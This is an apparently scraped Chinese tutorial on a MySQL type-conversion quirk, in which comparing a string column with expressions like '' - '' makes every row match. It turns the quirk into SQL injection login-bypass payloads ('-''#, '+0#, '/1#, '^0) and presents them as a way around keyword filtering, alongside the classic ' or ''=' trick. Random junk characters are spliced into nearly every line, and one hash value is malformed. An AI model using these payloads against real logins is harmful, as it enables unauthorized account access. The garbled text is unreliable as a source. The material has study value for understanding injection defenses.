我们先来看这样一个场景。
8 w& ^7 N: k0 Q" j9 y) v有以下表结构:
3 W7 ?7 _# V8 |2 b8 b0 O( X" v# I! f" L, K( W. ^. m; B
mysql> desc admin;
; I* ~/ _/ h/ F1 r. l' @9 ?. L+----------+--------------+------+-----+---------+----------------+0 T+ M7 D b }3 b5 c
| Field | Type | Null | Key | Default | Extra |: Z1 F ~. w1 c
+----------+--------------+------+-----+---------+----------------+
/ m3 K* ~$ ?9 |) H% [. v| id | mediumint(9) | NO | PRI | NULL | auto_increment |
0 C7 z$ t# N( e; I: X u8 U- i| name | char(32) | NO | UNI | NULL | |9 W; g- V5 g+ \" Z
| password | char(32) | NO | UNI | NULL | |
) y9 {1 c* t0 G, o# z+----------+--------------+------+-----+---------+----------------+6 J+ e0 m! @' U! n
3 rows in set (0.00 sec)# J5 Q/ @) J) z2 i
执行select * from admin;,成功返回所有记录内容。
' [1 Y+ {9 _# l( H( X5 V* R2 D5 k' Z9 F9 e7 S# d
6 e: Y0 Y* q; Q7 k
+----+--------+----------------------------------+- G& L- @3 B6 A2 f4 m6 Q+ Y
| id | name | password |7 C" T8 c6 t5 ~3 Q
+----+--------+----------------------------------+
* C, {9 d: m. C' M| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
% H1 Z& {, a) [0 J! V5 V| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; t) t' X3 ?8 X% `- H# _| 4 | n00b | ff80e8508d39047460921792273533a4 |( a; \/ s. k7 `
+----+--------+----------------------------------+
; i7 p. G" q" d0 B3 rows in set (0.00 sec)
6 D$ W- F5 [, W执行select * from admin where name=”;,没有匹配到任何记录。
: o i. G- Z. Z- b" \
1 ~8 U" T+ l+ v* P( p3 }% [' Dmysql> select * from admin where name = '';$ K2 F, Y& |; Q3 g7 m' ~
Empty set (0.00 sec)
! O; E! I1 R% ?" a9 W- A% ^那么我们来执行select * from admin where name = ”-”;
2 w+ K! H8 x* F0 g3 b6 M9 o
* c2 j' q+ n$ \* z) f) N' j
1 `7 l8 C2 A, B1 p+----+--------+----------------------------------+* s) J; v- m0 B8 o
| id | name | password |
+ D: L% H! @5 E9 J- m7 |/ l+----+--------+----------------------------------+
: `: x* V Y4 H; G4 u3 N% X+ C| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
. s2 i' o/ b+ }( U- A$ A7 a| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ k7 ?4 c9 K8 b, k C| 4 | n00b | ff80e8508d39047460921792273533a4 |" t; I/ J2 g+ |
+----+--------+----------------------------------+
. G- X6 v4 |1 \, y: w6 ]3 rows in set, 3 warnings (0.00 sec) X5 |( p" _1 _/ ~% z
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: / i6 j, D* W2 {" K6 y( E& \
1 S. K, r% |1 T, \ w( {, q. ^
mysql> show warnings;" H- w- P e+ Y
+---------+------+------------------------------------------
4 m$ Z% D# E" F4 L( u| Level | Code | Message- \! Q0 j! |* U$ x. {; f
+---------+------+------------------------------------------' w" P4 t1 n+ m# L# F [8 h- I
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
3 f: ?& s; x5 f- m8 ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
5 h2 ]& `+ g$ B& `| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
/ h1 I5 D( p4 G+---------+------+------------------------------------------
" P4 F$ l% D: Z3 rows in set (0.00 sec)7 Y4 }+ h O1 F i/ o/ o( r3 ]( g; Y
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
; C. p4 O& A! G) B: b
( y1 |' d# A: I1 x7 B5 \! Dmysql> select ''-'';
: ? O1 ?. W5 u2 E1 W# T8 G' @" w+-------+! p0 n, S3 t" ^9 X c! \
| ''-'' |- B; G, n& g+ u9 N: l7 M* t
+-------+
1 V4 V9 o' E' ^, {- S1 w9 H| 0 |
+ d7 S! g; t; m9 G5 Z! n+-------+& [8 \% O4 F6 R7 B5 H
1 row in set (0.00 sec)
2 e- E( r# j, {3 [返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ; B. [" w$ X5 p' z5 |5 v6 g
( P7 ^- u! W, Z( wmysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 m; L( T* K% w4 b3 ~ P* F
+-----------------------------------------------------+
! j/ `1 ~) R7 v+ z* k% k| CAST((select name from admin limit 1,1) as DECIMAL) |
2 h( N, q0 V& u' X3 G( x; h+-----------------------------------------------------+ J) n* o+ V* S% y
| 0 |
! Z. h& P: ?! }$ ~9 @+-----------------------------------------------------+
* d f4 j4 N& M O$ c7 C2 H1 row in set, 1 warning (0.00 sec)
: K& V6 X) t$ J Z$ E/ F- w因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ' e" c) B$ c$ \/ p! ^
6 h- G6 j0 l; p D$ W0 @# o% lSQL注入场景: http://www.sqlzoo.net/hack/
$ ^$ u6 I( G8 V! G9 @, L1 j
4 Y. x% Z% F/ P/ e/ W* R2 p
' ^$ K2 P) j- b/ |: ^7 ~8 y1 \
, E5 O# S6 @" b) {, C( w( I+ s; Y+ A2 \. s! U: B0 K5 T, H
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
$ @/ v4 h+ ]! o+ V: ?1 h2 ?4 \' I$ a P9 {5 W- ~
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
) U# x$ V3 j3 X9 y% |" I5 j3 y" Z' g2 i+ l% h
0 j) u& O% M" ^& B3 F
, M) [% x5 v+ ~( j! R" e# k' C3 G% {# l
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
6 q: z) L8 X, ^! o
7 f2 { B7 v, ?% f. t & D) U; Q, x# z7 D
$ ^) c i! N) ]6 m4 L7 s
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 Q" g" u9 M7 \, t- f1 {/ C6 U* r: [
! _) L7 @+ v3 C- E( c) c
mysql> select ''/1;
2 }7 j6 r- a; j: f+------+4 x- o: `. w+ i5 ^
| ''/1 |
- @2 \# Y4 E# e" Y$ |5 ]; ~ i$ k+------+1 V2 |" R) k6 U; b6 i0 p4 W1 M+ r
| 0 |! N' l3 H6 p7 r
+------+
' [1 t! \1 v7 z [, }; m4 _1 row in set (0.00 sec)( Z1 A+ g- } r( r h* d
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 + g0 ^; t& I3 X
+ |$ W8 a3 V$ X8 q利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
+ Q1 T! R7 E) L/ v) j; f+ Q |
|